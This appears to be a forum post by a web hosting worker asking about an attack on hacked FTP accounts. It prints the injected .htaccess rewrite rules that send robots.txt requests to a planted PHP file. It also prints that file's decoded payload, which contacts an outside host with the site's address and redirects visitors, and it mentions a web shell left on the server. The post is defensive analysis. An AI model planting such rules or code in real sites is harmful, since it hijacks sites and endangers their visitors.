I work on a pretty large web hosting company. Some days ago a lot of FTP accounts got attacked.
In .htaccess these rows where added:
RewriteEngine Off
RewriteEngine On
RewriteBase /
RewriteRule robots\.txt$ includ2e/robots.php [R=301,L]
Robots.php has base64-encoded data, which translates into this:
$fid = '4506';
$gto="
http://get.svainefler.info/g-f/?asd=".$fid."&url=".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$res=file_get_contents($gto);
if (!$res) header ("Location: ".$gto);else echo "Redirecting...";
One more file is uploaded, this file simply runs any php commands you post to the file.
http://get.svainefler.info/g-f/ gives "Account closed" but that might be because I try with the wrong user agent.
Does anyone know the purpose of this attack? As far as I know robots.txt can only be used to block pages from being indexed.